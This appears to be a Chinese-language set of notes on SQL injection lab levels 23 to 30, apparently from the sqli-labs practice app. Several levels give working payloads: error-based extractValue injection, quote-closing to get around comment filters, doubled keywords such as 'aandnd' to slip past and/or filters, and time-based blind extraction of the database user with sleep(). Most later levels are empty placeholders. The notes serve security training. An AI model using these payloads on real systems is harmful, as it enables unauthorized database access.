level-23 (注释被过滤)
-
抓包,查看正常请求和响应。
略
-
尝试是否存在注入
- id=1’,id=1’',成周期性变化
-
尝试 POC
- POC:
id=1'+and+extractValue(1,concat(0x7e,user()))--+'
结果:failed。怀疑–被过滤掉了,尝试前后闭合方案
- POC:
id=1'+and+extractValue(1,concat(0x7e,user()))+and+'
结果:ok。
level-24(二次注入)
-
抓包,查看正常请求和响应
-
尝试是否存在注入
-
尝试POC
level-25 (and、or被过滤)
-
抓包,查看正常请求和响应
-
尝试是否存在注入
''存在
-
尝试POC
- POC:
id=-1'+or+extractValue(1,concat(0x73,user()))--+
发现and,or关键字被屏蔽了,还是不区分大小写的屏蔽
- 使用union
结果:成功注入
- 使用aandnd/anandd --> and
POC: id=-1'+aandnd+extractValue(1,concat(0x73,user()))--+
level-25a(and、or被过滤盲注)
-
抓包,查看正常请求和响应
略
-
尝试是否存在注入
存在
-
POC:
id=1' and if(1,sleep(3),sleep(0))--+
==>不休眠
-
POC:
id=1" and if(1,sleep(3),sleep(0))--+
==>休眠
- POC:
id=1 and if(1,sleep(3),sleep(0))--+
-
尝试POC
- step1: 猜字符串长度:POC:
id=1+aandnd+if(length(user())=§1§,sleep(3),0)--+
- step1: 猜字符串长度:POC:
==》14
- step2:猜每个字符: POC:
id=1+aandnd+if(substr(user(),§1§,1)='§a§',sleep(3),0)--+
==》root@localhost
level-26 (空格、注释被过滤)
- 抓包,查看正常请求和响应
- 尝试是否存在注入
- 使用单双引号,发现输出周期性变化,存在注入
- 尝试POC
- POC:
'+union+select+1,user(),3--+
==> 空格被过滤了
- 尝试
level-26a ()
-
抓包,查看正常请求和响应
-
尝试是否存在注入
-
尝试POC
level-27 ()
-
抓包,查看正常请求和响应
-
尝试是否存在注入
-
尝试POC
level-27a ()
-
抓包,查看正常请求和响应
-
尝试是否存在注入
-
尝试POC
level-28 ()
-
抓包,查看正常请求和响应
-
尝试是否存在注入
-
尝试POC
level-28a ()
-
抓包,查看正常请求和响应
-
尝试是否存在注入
-
尝试POC
level-29 ()
-
抓包,查看正常请求和响应
-
尝试是否存在注入
-
尝试POC
level-30 ()
-
抓包,查看正常请求和响应
-
尝试是否存在注入
-
尝试POC